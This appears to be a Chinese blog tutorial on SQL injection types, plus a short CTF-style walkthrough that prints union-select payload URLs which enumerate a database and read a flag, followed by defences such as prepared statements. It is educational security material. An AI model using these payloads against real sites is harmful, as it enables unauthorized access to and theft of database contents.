zoukankan      html  css  js  c++  java
  • SQL注入漏洞

    sql注入类型

    按照注入点类型来分类

    (1)数字型注入点

    许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1

    (2)字符型注入点
    网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 ' 我们需要将这些烦人的引号给处理掉。

    (3)搜索型注入点
    这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

    按照数据提交的方式来分类

    (1)GET 注入
    提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

    (2)POST 注入
    使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

    (3)Cookie 注入
    HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

    (4)HTTP 头部注入
    注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

    按照执行效果来分类

    (1)基于布尔的盲注
    即可以根据返回页面判断条件真假的注入。

    (2)基于时间的盲注
    即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

    (3)基于报错注入
    即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

    单引号
    双引号
    基于数字型注入
    (4)联合查询注入
    可以使用union的情况下的注入。

    (5)堆查询注入
    可以同时执行多条语句的执行时的注入。

    (6)宽字节注入

    手工注入步骤

    1 根据提示和id参数 判断这个地方有注入,先用orderby进行判断,发现3列,2处有回显。

    2 查数据库名

    http://57c4b2fc.com/index.php?id=-1 union select 1,schema_name,3 from information_schema.schemata

    3 查表名

    http://57c4b2fc.com/index.php?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema="sqli"

    4 显示列名

    http://57c4b2fc.com/index.php?id=-1 union select 1,column_name,3 from information_schema.columns where table_name='info';

    5 显示flag

    ​http://57c4b2fc.com/index.php?id=-1 union select 1,flAg_T5ZNdrm,3 from info;

    防御 方法


    1. 使用预编译语句,绑定变量
    PDO prepare预编译
    2. 使用存储过程
    3. 检查数据类型
    4. 使用安全函数
           1. addslashes函数
           2. mysql_real_escape_string
           intval等字符转换:int类型转换

  • 相关阅读:
    关联规则挖掘算法综述
    Python中*args 和**kwargs的用法
    VIM python 自动补全插件:pydiction
    Java设计模式--工厂模式
    Java设计模式--单列设计模式
    Java设计模式--UML类图类的关系(依赖,泛化, 实现,关联,聚合,组合)
    Java设计模式--设计模式七大原则
    SpringBoot 整合篇 笔记--Spring Boot与监管/热部署
    SpringBoot 整合篇 笔记--Spring Boot与分布式
    SpringBoot 整合篇 笔记--Spring Boot与任务/安全
  • 原文地址:https://www.cnblogs.com/ly584521/p/13719056.html
Copyright © 2011-2022 走看看